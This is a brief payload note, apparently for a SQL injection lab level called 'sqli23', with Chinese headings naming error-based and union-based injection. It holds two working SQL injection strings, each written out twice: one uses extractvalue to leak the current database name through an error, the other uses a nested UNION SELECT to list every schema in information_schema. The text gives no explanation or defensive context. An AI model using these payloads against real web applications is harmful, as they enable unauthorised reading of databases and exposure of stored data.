sqli23:
and|or型报错
' or extractvalue(1,concat(0x7e,database())) or '1'='1
union型嵌套select
' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
and|or型报错
' or extractvalue(1,concat(0x7e,database())) or '1'='1
union型嵌套select
' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3